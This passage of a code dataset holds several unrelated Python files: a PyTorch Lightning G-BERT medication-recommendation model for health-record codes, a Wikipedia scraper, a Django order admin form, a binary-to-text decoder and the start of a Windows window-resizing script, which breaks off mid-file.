sentence):\n for word in sentence:\n if word not in self.word2idx:\n self.idx2word[len(self.word2idx)] = word\n self.word2idx[word] = len(self.word2idx)\n\n\nclass Tokenizer(object):\n \"\"\"Runs end-to-end tokenization\"\"\"\n\n def __init__(self, data_dir, is_pretrain: bool, special_tokens=(\"[PAD]\", \"[CLS]\", \"[MASK]\")):\n\n self.vocab = Voc()\n\n # special tokens\n self.vocab.add_sentence(special_tokens)\n\n self.rx_voc = self.add_vocab(join(data_dir, 'rx-vocab.txt'))\n self.dx_voc = self.add_vocab(join(data_dir, 'dx-vocab.txt'))\n\n if not is_pretrain:\n # code only in multi-visit data\n self.rx_voc_multi = Voc()\n self.dx_voc_multi = Voc()\n with open(join(data_dir, 'rx-vocab-multi.txt'), 'r') as fin:\n for code in fin:\n self.rx_voc_multi.add_sentence([code.rstrip('\\n')])\n with open(join(data_dir, 'dx-vocab-multi.txt'), 'r') as fin:\n for code in fin:\n self.dx_voc_multi.add_sentence([code.rstrip('\\n')])\n\n def add_vocab(self, vocab_file):\n voc = self.vocab\n specific_voc = Voc()\n with open(vocab_file, 'r') as fin:\n for code in fin:\n voc.add_sentence([code.rstrip('\\n')])\n specific_voc.add_sentence([code.rstrip('\\n')])\n return specific_voc\n\n def convert_tokens_to_ids(self, tokens):\n \"\"\"Converts a sequence of tokens into ids using the vocab.\"\"\"\n ids = []\n for token in tokens:\n ids.append(self.vocab.word2idx[token])\n return ids\n\n def convert_ids_to_tokens(self, ids):\n \"\"\"Converts a sequence of ids in wordpiece tokens using the vocab.\"\"\"\n tokens = []\n for i in ids:\n tokens.append(self.vocab.idx2word[i])\n return tokens\n\n\nclass EHRDatasetTemplate(Dataset):\n def __init__(self, data_pd, tokenizer: Tokenizer, max_seq_len):\n self.data_pd = data_pd\n self.tokenizer = tokenizer\n self.seq_len = max_seq_len\n self.data = self.__transform_data__(data_pd)\n\n @classmethod\n def __transform_data__(cls, data: pd.DataFrame):\n raise NotImplementedError('transform_data() not implemented')\n\n def __len__(self):\n return len(self.data)\n\n def __getitem__(self, item):\n raise NotImplementedError('__getitem__() not implemented')\n\n\nclass DatasetPretrain(EHRDatasetTemplate):\n # mask token with 15% probability\n mask_prob = 0.15\n # 80% randomly change token to mask token\n change_to_mask_prob = 0.8\n # 10% randomly change token to random token\n change_to_random_prob = 0.9\n\n def __init__(self, data_pd, tokenizer: Tokenizer, max_seq_len):\n super(DatasetPretrain, self).__init__(data_pd, tokenizer, max_seq_len)\n\n @classmethod\n def __transform_data__(cls, data) -> List[List[List]]:\n \"\"\"\n :param data: raw data form\n :return: {subject_id, [adm, 2, codes]},\n \"\"\"\n admissions = []\n for _, row in data.iterrows():\n admission = [list(row['ICD9_CODE']), list(row['ATC4'])]\n admissions.append(admission)\n return admissions\n\n def __getitem__(self, item):\n adm = copy.deepcopy(self.data[item])\n\n def fill_to_max(lst: List, seq):\n while len(lst) < seq:\n lst.append('[PAD]')\n return lst\n\n \"\"\"y\n \"\"\"\n y_dx = np.zeros(len(self.tokenizer.dx_voc.word2idx))\n y_rx = np.zeros(len(self.tokenizer.rx_voc.word2idx))\n for item in adm[0]:\n y_dx[self.tokenizer.dx_voc.word2idx[item]] = 1\n for item in adm[1]:\n y_rx[self.tokenizer.rx_voc.word2idx[item]] = 1\n\n \"\"\"replace tokens with [MASK]\n \"\"\"\n adm[0] = self.__random_word__(adm[0], self.tokenizer.rx_voc)\n adm[1] = self.__random_word__(adm[1], self.tokenizer.dx_voc)\n\n \"\"\"extract input and output tokens\n \"\"\"\n input_tokens = [] # (2*max_len)\n input_tokens.extend(\n ['[CLS]'] + fill_to_max(list(adm[0]), self.seq_len - 1))\n input_tokens.extend(\n ['[CLS]'] + fill_to_max(list(adm[1]), self.seq_len - 1))\n\n \"\"\"convert tokens to id\n \"\"\"\n input_ids = self.tokenizer.convert_tokens_to_ids(input_tokens)\n\n cur_tensors = (torch.tensor(input_ids, dtype=torch.long).view(-1, self.seq_len),\n torch.tensor(y_dx, dtype=torch.float),\n torch.tensor(y_rx, dtype=torch.float))\n\n return cur_tensors\n\n def __random_word__(self, tokens, vocab):\n for i, _ in enumerate(tokens):\n prob = random.random()\n # mask token with 15% probability\n if prob < self.mask_prob:\n prob /= self.mask_prob\n\n # 80% randomly change token to mask token\n if prob < self.change_to_mask_prob:\n tokens[i] = \"[MASK]\"\n # 10% randomly change token to random token\n elif prob < self.change_to_random_prob:\n tokens[i] = random.choice(list(vocab.word2idx.items()))[0]\n else:\n pass\n else:\n pass\n return tokens\n\n\nclass DatasetPrediction(EHRDatasetTemplate):\n def __init__(self, data_pd, tokenizer: Tokenizer, max_seq_len):\n super(DatasetPrediction, self).__init__(data_pd, tokenizer, max_seq_len)\n\n @classmethod\n def __transform_data__(cls, data) -> Dict[int, List[List[List]]]:\n \"\"\"\n :param data: raw data form\n :return: {subject_id, [adm, 2, codes]},\n \"\"\"\n records = {}\n for subject_id in data['SUBJECT_ID'].unique():\n item_df = data[data['SUBJECT_ID'] == subject_id]\n patient = []\n for _, row in item_df.iterrows():\n admission = [list(row['ICD9_CODE']), list(row['ATC4'])]\n patient.append(admission)\n if len(patient) < 2:\n continue\n records[subject_id] = patient\n return records\n\n def __getitem__(self, item):\n subject_id = list(self.data.keys())[item]\n\n def fill_to_max(lst: List, seq):\n while len(lst) < seq:\n lst.append('[PAD]')\n return lst\n\n \"\"\"extract input and output tokens\n \"\"\"\n input_tokens = [] # (2*max_len*adm)\n output_dx_tokens = [] # (adm-1, l)\n output_rx_tokens = [] # (adm-1, l)\n\n for idx, adm in enumerate(self.data[subject_id]):\n input_tokens.extend(\n ['[CLS]'] + fill_to_max(list(adm[0]), self.seq_len - 1))\n input_tokens.extend(\n ['[CLS]'] + fill_to_max(list(adm[1]), self.seq_len - 1))\n # output_rx_tokens.append(list(adm[1]))\n\n if idx != 0:\n output_rx_tokens.append(list(adm[1]))\n output_dx_tokens.append(list(adm[0]))\n\n \"\"\"convert tokens to id\n \"\"\"\n input_ids = self.tokenizer.convert_tokens_to_ids(input_tokens)\n output_dx_labels = [] # (adm-1, dx_voc_size)\n output_rx_labels = [] # (adm-1, rx_voc_size)\n\n dx_voc_size = len(self.tokenizer.dx_voc_multi.word2idx)\n rx_voc_size = len(self.tokenizer.rx_voc_multi.word2idx)\n for tokens in output_dx_tokens:\n tmp_labels = np.zeros(dx_voc_size)\n tmp_labels[list(\n map(lambda x: self.tokenizer.dx_voc_multi.word2idx[x], tokens))] = 1\n output_dx_labels.append(tmp_labels)\n\n for tokens in output_rx_tokens:\n tmp_labels = np.zeros(rx_voc_size)\n tmp_labels[list(\n map(lambda x: self.tokenizer.rx_voc_multi.word2idx[x], tokens))] = 1\n output_rx_labels.append(tmp_labels)\n\n # todo: move assertion out of the loop\n # assert len(input_ids) == (self.seq_len *\n # 2 * len(self.data[subject_id]))\n # assert len(output_dx_labels) == (len(self.data[subject_id]) - 1)\n # assert len(output_rx_labels) == len(self.records[subject_id])-1\n\n cur_tensors = (torch.tensor(input_ids).view(-1, self.seq_len),\n torch.tensor(output_dx_labels, dtype=torch.float),\n torch.tensor(output_rx_labels, dtype=torch.float))\n\n return cur_tensors\n\n\nclass EHRDataModule(pl.LightningDataModule):\n def __init__(self, data_dir: str = \"./data\", max_seq_len=55, pretrain_batch_size=10, use_single=True,\n shuffle_inds=False):\n super().__init__()\n self.train_dataset, self.eval_dataset, self.test_dataset = (None, None, None)\n self.data_dir = data_dir\n self.max_seq_len = max_seq_len\n self.pretrain_batch_size = pretrain_batch_size\n self.use_single = use_single\n self.shuffle_inds = shuffle_inds\n # load tokenizer\n self.tokenizer_pretrain = Tokenizer(self.data_dir, True)\n self.tokenizer_predict = Tokenizer(self.data_dir, False)\n assert self.tokenizer_pretrain.vocab.word2idx == self.tokenizer_predict.vocab.word2idx, \\\n 'Pretrain and predict data-loaders are not using the same vocabulary!'\n self.mode = None\n\n @staticmethod\n def add_model_specific_args(parser: ArgumentParser) -> ArgumentParser:\n parser.add_argument(\"--pretrain_batch_size\",\n default=64,\n type=int,\n help=\"Total batch size for pretrain task.\")\n parser.add_argument(\"--max_seq_length\",\n default=55,\n type=int,\n help=\"The maximum total input sequence length after WordPiece tokenization. \\n\"\n \"Sequences longer than this will be truncated, and sequences shorter \\n\"\n \"than this will be padded.\")\n parser.add_argument(\"--use_single\",\n action='store_true',\n help=\"Whether to run on the dev set.\")\n parser.add_argument(\"--shuffle_inds\",\n action='store_true',\n help=\"Whether to run on the dev set.\")\n return parser\n\n def prepare_data(self):\n # here we download & save data (part of load_dataset from orig code)\n pass\n\n def setup(self, stage: Optional[str] = None):\n # data operations you might want to perform on every GPU (here goes most of orig code)\n\n # load train, eval, test index from files\n if self.shuffle_inds:\n ids_file = [os.path.join(self.data_dir, 'train-id_shuffle.txt'),\n os.path.join(self.data_dir, 'eval-id_shuffle.txt'),\n os.path.join(self.data_dir, 'test-id_shuffle.txt')]\n else:\n ids_file = [os.path.join(self.data_dir, 'train-id.txt'),\n os.path.join(self.data_dir, 'eval-id.txt'),\n os.path.join(self.data_dir, 'test-id.txt')]\n\n def load_ids(data, file_name):\n \"\"\"\n :param data: multi-visit data\n :param file_name:\n :return: raw data form\n \"\"\"\n ids = []\n with open(file_name, 'r') as f:\n for line in f:\n ids.append(int(line.rstrip('\\n')))\n return data[data['SUBJECT_ID'].isin(ids)].reset_index(drop=True)\n\n assert self.mode is not None\n if self.mode == BertMode.Pretrain:\n data_multi = pd.read_pickle(os.path.join(self.data_dir, 'data-multi-visit.pkl')).iloc[:, :4]\n if self.use_single:\n data_single = pd.read_pickle(os.path.join(self.data_dir, 'data-single-visit.pkl'))\n self.train_dataset = DatasetPretrain(pd.concat([data_single, load_ids(data_multi, ids_file[0])]),\n self.tokenizer_pretrain, self.max_seq_len)\n else:\n self.train_dataset = DatasetPretrain(load_ids(data_multi, ids_file[0]),\n self.tokenizer_pretrain, self.max_seq_len)\n self.eval_dataset = DatasetPretrain(load_ids(data_multi, ids_file[1]),\n self.tokenizer_pretrain, self.max_seq_len)\n self.test_dataset = DatasetPretrain(load_ids(data_multi, ids_file[2]),\n self.tokenizer_pretrain, self.max_seq_len)\n else: # Prediction task\n data_multi = pd.read_pickle(os.path.join(self.data_dir, 'data-multi-visit.pkl'))\n self.train_dataset, self.eval_dataset, self.test_dataset = \\\n tuple(map(lambda x: DatasetPrediction(load_ids(data_multi, x),\n self.tokenizer_predict, self.max_seq_len), ids_file))\n pass\n\n def train_dataloader(self, num_workers=6):\n batch_size = self.pretrain_batch_size if isinstance(self.train_dataset, DatasetPretrain) else 1\n return DataLoader(self.train_dataset,\n sampler=RandomSampler(self.train_dataset),\n batch_size=batch_size, num_workers=num_workers)\n\n def val_dataloader(self, num_workers=1):\n batch_size = self.pretrain_batch_size if isinstance(self.train_dataset, DatasetPretrain) else 1\n return DataLoader(self.eval_dataset,\n sampler=SequentialSampler(self.eval_dataset),\n batch_size=batch_size,\n num_workers=num_workers)\n\n def test_dataloader(self, num_workers=1):\n batch_size = self.pretrain_batch_size if isinstance(self.train_dataset, DatasetPretrain) else 1\n return DataLoader(self.test_dataset,\n sampler=SequentialSampler(self.test_dataset),\n batch_size=batch_size,\n num_workers=num_workers)\n\n\ndef metric_report(threshold=0.5):\n def get_metrics(y_pred, y_true):\n y_prob = y_pred.copy()\n y_pred[y_pred > threshold] = 1\n y_pred[y_pred <= threshold] = 0\n ja, prauc, avg_p, avg_r, avg_f1 = multi_label_metric(\n y_true, y_pred, y_prob)\n return {'jaccard': ja, 'f1': avg_f1, 'prauc': prauc}\n\n return lambda pred, true: get_metrics(pred, true)\n\n\nclass BertMode(enum.Enum):\n Pretrain = 0\n Predict = 1\n\n\nclass LitGBert(pl.LightningModule):\n def __init__(self, args: Union[Namespace, ArgumentParser]):\n super().__init__()\n self.ehr_data = EHRDataModule(args.data_dir, args.max_seq_length, args.pretrain_batch_size, args.use_single,\n args.shuffle_inds)\n config = BertConfig(len(self.ehr_data.tokenizer_pretrain.vocab.word2idx),\n num_attention_heads=args.num_attention_heads,\n num_hidden_layers=args.num_hidden_layers,\n graph=args.graph)\n assert self.ehr_data.tokenizer_predict.dx_voc.word2idx == self.ehr_data.tokenizer_pretrain.dx_voc.word2idx\n assert self.ehr_data.tokenizer_predict.rx_voc.word2idx == self.ehr_data.tokenizer_pretrain.rx_voc.word2idx\n self.dx_voc_size = len(self.ehr_data.tokenizer_pretrain.dx_voc.word2idx)\n self.rx_voc_size = len(self.ehr_data.tokenizer_pretrain.rx_voc.word2idx)\n\n # pretrain part\n self.bert = BERT(config, self.ehr_data.tokenizer_pretrain.dx_voc, self.ehr_data.tokenizer_pretrain.rx_voc)\n self.cls_pretrain = SelfSupervisedHead(config, self.dx_voc_size, self.rx_voc_size)\n\n # predict part\n self.dense = nn.ModuleList([MappingHead(config), MappingHead(config)])\n self.cls_predict = nn.Sequential(\n nn.Linear(3 * config.hidden_size, 2 * config.hidden_size), nn.ReLU(),\n nn.Linear(2 * config.hidden_size, len(self.ehr_data.tokenizer_predict.rx_voc_multi.word2idx)))\n\n # embedding for BERT, sum of positional, segment, token embeddings\n if config.graph:\n assert self.ehr_data.tokenizer_pretrain is not None\n assert self.ehr_data.tokenizer_pretrain.dx_voc is not None\n assert self.ehr_data.tokenizer_pretrain.rx_voc is not None\n print(\"!! we didn't verify the graph embeddings, please reconsider !!\")\n self.embedding = FuseEmbeddings(config, self.ehr_data.tokenizer_pretrain.dx_voc,\n self.ehr_data.tokenizer_pretrain.rx_voc)\n else:\n self.embedding = BertEmbeddings(config)\n\n self.learning_rate = args.learning_rate\n self.lr_exp_decay = args.lr_exp_decay\n self.metric_report = metric_report(args.threshold)\n\n self.mode = None\n self.max_metric = 0\n self.apply(self.bert.init_bert_weights)\n self.args = args\n\n @staticmethod\n def add_model_specific_args(parser: ArgumentParser) -> ArgumentParser:\n parser.add_argument(\"--learning_rate\",\n default=5e-4,\n type=float,\n help=\"The initial learning rate for Adam.\")\n parser.add_argument(\"--lr_exp_decay\",\n default=1.0,\n type=float,\n help=\"The decay rate factor.\")\n parser.add_argument(\"--graph\",\n default=False,\n action='store_true',\n help=\"if use ontology embedding\")\n parser.add_argument(\"--threshold\",\n default=0.3,\n type=float,\n help=\"threshold for metrics eval.\")\n parser.add_argument(\"--num_attention_heads\",\n default=4,\n type=int,\n help=\"Attention heads in BERT model.\")\n parser.add_argument(\"--num_hidden_layers\",\n default=2,\n type=int,\n help=\"Hidden layers in model.\")\n return parser\n\n def set_mode(self, mode: BertMode):\n self.mode = mode\n self.ehr_data.mode = mode\n\n def configure_optimizers(self):\n optimizer = torch.optim.Adam(self.parameters(), lr=self.learning_rate)\n if 0 < self.lr_exp_decay < 1:\n scheduler = ExponentialLR(optimizer, self.lr_exp_decay)\n return [optimizer], [scheduler]\n else:\n return optimizer\n\n @staticmethod\n def compute_pretrain_loss(dx2dx, rx2dx, dx2rx, rx2rx, dx_labels, rx_labels):\n return F.binary_cross_entropy_with_logits(dx2dx, dx_labels) + \\\n F.binary_cross_entropy_with_logits(rx2dx, dx_labels) + \\\n F.binary_cross_entropy_with_logits(dx2rx, rx_labels) + \\\n F.binary_cross_entropy_with_logits(rx2rx, rx_labels)\n\n def pretrain_fw(self, inputs) -> Tuple:\n _, dx_bert_pool = self.bert(inputs[:, 0, :],\n torch.zeros((inputs.size(0), inputs.size(2))).long().to(inputs.device))\n _, rx_bert_pool = self.bert(inputs[:, 1, :],\n torch.zeros((inputs.size(0), inputs.size(2))).long().to(inputs.device))\n return self.cls_pretrain(dx_bert_pool, rx_bert_pool)\n\n def predict_fw(self, input_ids, n_rx_labels: int):\n token_types_ids = torch.cat([torch.zeros((1, input_ids.size(1))),\n torch.ones((1, input_ids.size(1)))], dim=0).long().to(input_ids.device)\n token_types_ids = token_types_ids.repeat(\n 1 if input_ids.size(0) // 2 == 0 else input_ids.size(0) // 2, 1)\n # bert_pool: (2*adm, H)\n _, bert_pool = self.bert(input_ids, token_types_ids)\n bert_pool = bert_pool.view(2, -1, bert_pool.size(1)) # (2, adm, H)\n dx_bert_pool = self.dense[0](bert_pool[0]) # (adm, H)\n rx_bert_pool = self.dense[1](bert_pool[1]) # (adm, H)\n\n # mean and concat for rx prediction task\n rx_logits = []\n for i in range(n_rx_labels):\n # mean\n dx_mean = torch.mean(dx_bert_pool[0:i + 1, :], dim=0, keepdim=True)\n rx_mean = torch.mean(rx_bert_pool[0:i + 1, :], dim=0, keepdim=True)\n # concat\n concat = torch.cat(\n [dx_mean, rx_mean, dx_bert_pool[i + 1, :].unsqueeze(dim=0)], dim=-1)\n rx_logits.append(self.cls_predict(concat))\n\n rx_logits = torch.cat(rx_logits, dim=0)\n return rx_logits\n\n def forward(self, input_ids, n_rx_labels=None):\n if self.mode == BertMode.Pretrain:\n return self.pretrain_fw(input_ids)\n elif self.mode == BertMode.Predict:\n return self.predict_fw(input_ids, n_rx_labels)\n else:\n raise NotImplementedError()\n\n def on_train_start(self):\n self.logger.log_hyperparams(self.args, {\"hp/jaccard_val\": 0, \"hp/f1_val\": 0, \"hp/prauc_val\": 0,\n \"hp/jaccard_test\": 0, \"hp/f1_test\": 0, \"hp/prauc_test\": 0})\n\n def training_step(self, batch):\n input_ids, dx_labels, rx_labels = batch\n if self.mode == BertMode.Pretrain:\n dx2dx, rx2dx, dx2rx, rx2rx = self(input_ids)\n loss = LitGBert.compute_pretrain_loss(dx2dx, rx2dx, dx2rx, rx2rx, dx_labels, rx_labels)\n self.log(f\"train_loss_pretrain\", loss)\n return loss\n elif self.mode == BertMode.Predict:\n input_ids, rx_labels = input_ids.squeeze(dim=0), rx_labels.squeeze(dim=0)\n n_rx_labels = rx_labels.size(0)\n rx_logits = self(input_ids, n_rx_labels)\n loss = F.binary_cross_entropy_with_logits(rx_logits, rx_labels)\n self.log(f\"train_loss_predict\", loss)\n return loss\n else:\n raise NotImplementedError()\n\n def validation_step(self, batch, batch_idx):\n input_ids, dx_labels, rx_labels = batch\n if self.mode == BertMode.Pretrain:\n dx2dx, rx2dx, dx2rx, rx2rx = self(input_ids)\n acc_container = {\n 'dx2dx': self.metric_report(t2n(dx2dx), t2n(dx_labels)),\n 'rx2dx': self.metric_report(t2n(rx2dx), t2n(dx_labels)),\n 'dx2rx': self.metric_report(t2n(dx2rx), t2n(rx_labels)),\n 'rx2rx': self.metric_report(t2n(rx2rx), t2n(rx_labels))\n }\n for cat_key in acc_container:\n for metric_key in acc_container[cat_key]:\n self.log(f\"val_{cat_key}_{metric_key}\", acc_container[cat_key][metric_key])\n self.log(f\"val_pretrain_loss\",\n LitGBert.compute_pretrain_loss(dx2dx, rx2dx, dx2rx, rx2rx, dx_labels, rx_labels))\n\n elif self.mode == BertMode.Predict:\n input_ids, rx_labels = input_ids.squeeze(dim=0), rx_labels.squeeze(dim=0)\n n_rx_labels = rx_labels.size(0)\n rx_probs = torch.sigmoid(self(input_ids, n_rx_labels))\n metrics = self.metric_report(t2n(rx_probs), t2n(rx_labels))\n for metric_key in metrics:\n self.log(f\"val_predict_{metric_key}\", metrics[metric_key])\n self.log(f\"hp/{metric_key}_val\", metrics[metric_key])\n else:\n raise NotImplementedError()\n\n def test_step(self, batch, batch_idx):\n input_ids, dx_labels, rx_labels = batch\n if self.mode == BertMode.Pretrain:\n dx2dx, rx2dx, dx2rx, rx2rx = self(input_ids)\n acc_container = {\n 'dx2dx': self.metric_report(t2n(dx2dx), t2n(dx_labels)),\n 'rx2dx': self.metric_report(t2n(rx2dx), t2n(dx_labels)),\n 'dx2rx': self.metric_report(t2n(dx2rx), t2n(rx_labels)),\n 'rx2rx': self.metric_report(t2n(rx2rx), t2n(rx_labels))\n }\n for cat_key in acc_container:\n for metric_key in acc_container[cat_key]:\n self.log(f\"test_{cat_key}_{metric_key}\", acc_container[cat_key][metric_key])\n elif self.mode == BertMode.Predict:\n input_ids, rx_labels = input_ids.squeeze(dim=0), rx_labels.squeeze(dim=0)\n n_rx_labels = rx_labels.size(0)\n rx_probs = torch.sigmoid(self(input_ids, n_rx_labels))\n metrics = self.metric_report(t2n(rx_probs), t2n(rx_labels))\n for metric_key in metrics:\n self.log(f\"test_predict_{metric_key}\", metrics[metric_key])\n self.log(f\"hp/{metric_key}_test\", metrics[metric_key])\n else:\n raise NotImplementedError()\n","sub_path":"code/lightning_model.py","file_name":"lightning_model.py","file_ext":"py","file_size_in_byte":25632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"28890477","text":"import requests\nfrom bs4 import BeautifulSoup\nimport os\n\nsearch = input('type something to search in wiki: ')\nsearc = search.replace(' ', '+')\n\nurl= \"https://en.wikipedia.org/wiki/\"+searc\nsource_code = requests.get(url)\nplain_text = source_code.text\nsoup = BeautifulSoup(plain_text, \"html.parser\")\n\n#print(source_code,\"source code printed\")\n#print(plain_text,\"plain text printed\")\n#print(soup,\"soup printed\")\n\nresult_list1 = soup.findAll('div')\nprint(result_list1,\"result set printed\")\n\nfor div in result_list1:\n r1=div.findAll('h1')\nprint(r1)\n\nfor div in result_list1:\n r2=div.findAll('body')\nprint(r2)\n","sub_path":"Wiki Extract/Wiki Extract.py","file_name":"Wiki Extract.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"591688810","text":"from django import forms\nfrom django.contrib import admin\nfrom .models import Category, Product, Restaurant, Operator, Order\nfrom .widgets import PositionQuantityWidget\nfrom django.core.validators import validate_comma_separated_integer_list\n# Register your models here.\n\nclass OrderAdminForm(forms.ModelForm):\n \"\"\"an admin model for order - custom to look nice to the user\"\"\"\n def __init__(self, *args, **kwargs):\n super(OrderAdminForm, self).__init__(*args, **kwargs)\n self.fields['position_quantity'].widget = PositionQuantityWidget()\n\n def clean(self):\n data = self.cleaned_data\n data['position_quantity'] = ''\n it = 0\n while ('position_quantity_' + str(it)) in self.data:\n data['position_quantity'] += self.data['position_quantity_' + str(it)] + ','\n it += 1\n else:\n if len(data['position_quantity']) > 0:\n data['position_quantity'] = data['position_quantity'][:-1]\n print(data['position_quantity'])\n validate_comma_separated_integer_list(data['position_quantity'])\n print(data)\n return data\n\n\n class Meta:\n model = Order\n fields = '__all__'\n\n@admin.register(Order)\nclass OrderAdmin(admin.ModelAdmin):\n form = OrderAdminForm\n\nadmin.site.register(Category)\nadmin.site.register(Product)\nadmin.site.register(Restaurant)\nadmin.site.register(Operator)\n","sub_path":"orders/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"264213359","text":"\"\"\"\nA django app for managing recipes\n\"\"\"\n\nVERSION = (0, 1, 0)\n\n__version__ = \".\".join(map(str, VERSION[0:3])) + \"\".join(VERSION[3:])\n__author__ = \"Evan Davey\"\n__contact__ = \"evan.davey@cochranedavey.com\"\n__homepage__ = \"https://github.com/vanessacochrane/django-recipemonkey\"\n__docformat__ = \"markdown\"\n__license__ = \"Creative Commons Share Alike Non Commercial Use\"\n","sub_path":"recipemonkeyapp/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"202794464","text":"\nimport binascii\nimport sys\n\ndef bin2str(bs):\n\n n = int(bs, 2)\n return binascii.unhexlify('%x' % n)\n\ndef string_decode(input, length=8):\n input_l = [input[i:i+length] for i in range(0,len(input),length)]\n return ''.join([chr(int(c,base=2)) for c in input_l])\n \n\nwith open('outputfin.bin') as f:\n content = f.readlines()\n\ncontent = [x.strip() for x in content] \n\n#print bin2str(content[0])\n#print content[0]\n#print content[1]\n#print bin2str(content[0])\n#print string_decode(content[1])\n#print bin2str(content[3])\nfor strg in content:\n sys.stdout.write(string_decode(strg))\n ","sub_path":"onlinectf/gather/conv2.py","file_name":"conv2.py","file_ext":"py","file_size_in_byte":592,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"117775971","text":"# win_resize.py\n# Copyright: Andridov andrdidov@gmail.com\n# License: GNU AGPL, version 3 or later; http://www.gnu.org/licenses/agpl.html\n\nimport win32gui as wg32\nimport win32api as wa32\nimport win32con\n\nimport wx\nimport re\nimport time\nimport argparse\nimport collections\n\nfrom threading import Thread\nfrom datetime import datetime, timedelta\n\n\"\"\"\nThe script for positioning windows on the screen.\n\nRequirements:\nYou need AutoHotkey application to enable shorcuts on Windows OS. \nrun the win_resize.ahk file. This enables you to run shortcut like:\nleft WIN+CTRL+C\n\nHow does it work?\n\n1. Select your window to move/resize.\n2. Imagine your desktop area divided in to cells:\n┌───┬───┬───┬───┬───┐\n│ 1 │ 2 │ 3 │ 4 │ 5 │\n├───┼───┼───┼───┼───┤\n│ q │ w │ e │ r │ t │\n├───┼───┼───┼───┼───┤\n│ a │ s │ d │ f │ g │\n├───┼───┼───┼───┼───┤\n│ z │ x │ c │ v │ b │\n└───┴───┴───┴───┴───┘\nPress shortcut for needed cells ratio. \nExample:\n Right WIN+CTRL+D activates script with ability to move window on any of 3x3 cells.\n\n3. Define the bounding cells by pressing appropriate keys.\n4. Press Enter to commit or Esc to quit.\n\"\"\"\n\ndef do_argparse():\n parser = argparse.ArgumentParser(description='win_resize conmmand line')\n\n parser.add_argument('-m', type=str, required=True\n , help='size of grid can be 3x3 or 4x4')\n\n parser.add_argument\n\n args, other_args = parser.parse_known_args()\n\n return [args, other_args]\n\n\n# user defined types section\nPoint = collections.namedtuple(\"Point\", [\"x\", \"y\"])\nRegn = collections.namedtuple(\"Regn\", [\"x\", \"y\", \"x2\", \"y2\"])\nRect = collections.namedtuple(\"Rect\", [\"x\", \"y\", \"width\", \"height\"])\nMetric = collections.namedtuple(\"Metric\", [\n \"desktop_width\"\n , \"desktop_height\"\n , \"window_regn\"\n , \"client_rect\"\n , \"window_width\"\n , \"window_height\" ])\n\n\n# interfaces section\nclass DesktopMngrInterface:\n\n def get_metric_info(self) -> Metric:\n \"\"\"A method return base metric parameters to represent in info tab \"\"\"\n pass\n\n def move_window(self, lt_cell, rb_cell, dimention_x, dimention_y):\n \"\"\"\n A method moves window\n\n lt_cell - left top cell of the window\n rb_cell - right bottom cell of the window\n dimention_x - numberr of cells in row\n dimention_y - number of cells in column\n \"\"\"\n pass\n \n\n\nclass WinMngr(DesktopMngrInterface):\n def __init__(self):\n self.__base_hwnd = wg32.GetActiveWindow()\n if not self.__base_hwnd:\n self.__base_hwnd = wg32.GetForegroundWindow()\n\n self.__base_rect = wg32.GetWindowRect(self.__base_hwnd)\n self.__clnt_rect = wg32.GetClientRect(self.__base_hwnd)\n self._metric = Metric(\n desktop_width=wa32.GetSystemMetrics(win32con.SM_CXMAXIMIZED)-16 \n , desktop_height=wa32.GetSystemMetrics(win32con.SM_CYMAXIMIZED)-16\n , window_regn=Regn(self.__base_rect[0], self.__base_rect[1], \n self.__base_rect[2], self.__base_rect[3])\n , client_rect=Rect(self.__clnt_rect[0], self.__clnt_rect[1], \n self.__clnt_rect[2], self.__clnt_rect[3])\n , window_width=self.__base_rect[2]-self.__base_rect[0]\n , window_height=self.__base_rect[3]-self.__base_rect[1]\n )\n\n self._border_x = self._metric.window_width - self.__clnt_rect[2]\n self._border_y = self._metric.window_height - self.__clnt_rect[3]\n\n\n def get_metric_info(self):\n return self._metric\n\n \n def move_window(self, lt_cell, rb_cell, dimention_x, dimention_y):\n\n cell_w = self._metric.desktop_width / dimention_x\n cell_h = self._metric.desktop_height / dimention_y\n\n # window area x, y, width, height\n x = int(lt_cell.x * cell_w)\n y = int(lt_cell.y * cell_h)\n w = int((rb_cell.x - lt_cell.x + 1) * cell_w)\n h = int((rb_cell.y - lt_cell.y + 1) * cell_h)\n\n bl = int(self._border_x / 2)\n wg32.MoveWindow(\n self.__base_hwnd, x - bl, y, w + self._border_x, h + bl, True)\n\n\nclass NamesPool:\n def __init__(self, mode):\n self.__mode = mode\n self.__parse_mode()\n\n self._cell_names = [\n '1', '2', '3', '4', '5',\n 'q', 'w', 'e', 'r', 't',\n 'a', 's', 'd', 'f', 'g',\n 'z', 'x', 'c', 'v', 'b']\n\n self.__max_dimention_x = 5\n self.__max_dimention_y = 4\n self.__init_collections()\n\n\n def __parse_mode(self):\n m = re.match(r\"^(\\d)x(\\d)$\", self.__mode)\n if not m:\n raise Exception(\n f\"Error: bad dimentions settled in mode attrib: {self.__mode}\")\n self.__dimention_x = int(m.group(1))\n self.__dimention_y = int(m.group(2))\n\n\n def __init_collections(self):\n NameItem = collections.namedtuple(\"NameItem\", [\"name\", \"x\", \"y\"])\n self.__items_list = []\n self.__active_names_list = []\n\n for iy in range(self.__max_dimention_y):\n if iy >= self.__dimention_y:\n break\n\n for ix in range(self.__dimention_x):\n name = self._cell_names[iy * self.__max_dimention_x + ix]\n self.__active_names_list.append(name)\n self.__items_list.append(NameItem(name, ix, iy))\n\n\n def items(self):\n return self.__items_list\n\n\n def dimentions(self):\n return Point(self.__dimention_x, self.__dimention_y)\n\n\n\nclass Cell(wx.Button):\n def __init__(self, p, name_point):\n super().__init__(p, label=name_point.name)\n \n self.selected = False\n self.name = name_point.name\n self.x = name_point.x\n self.y = name_point.y\n self.__init_colors()\n\n def __init_colors(self):\n c = self.GetBackgroundColour()\n self.__default_color = c\n self.__selected_color = (0xFF, c[1] & 0x0F, c[2] & 0x0F, c[3]) \n self.__in_zone_color = (0xFF, c[1] & 0xA0, c[2] & 0xA0, c[3])\n\n\n def on_select_button(self, evt):\n self.selected = not self.selected\n print(f\"button pressed: name={self.name}, x={self.x}, y={self.y}, value={self.selected}\")\n if evt:\n 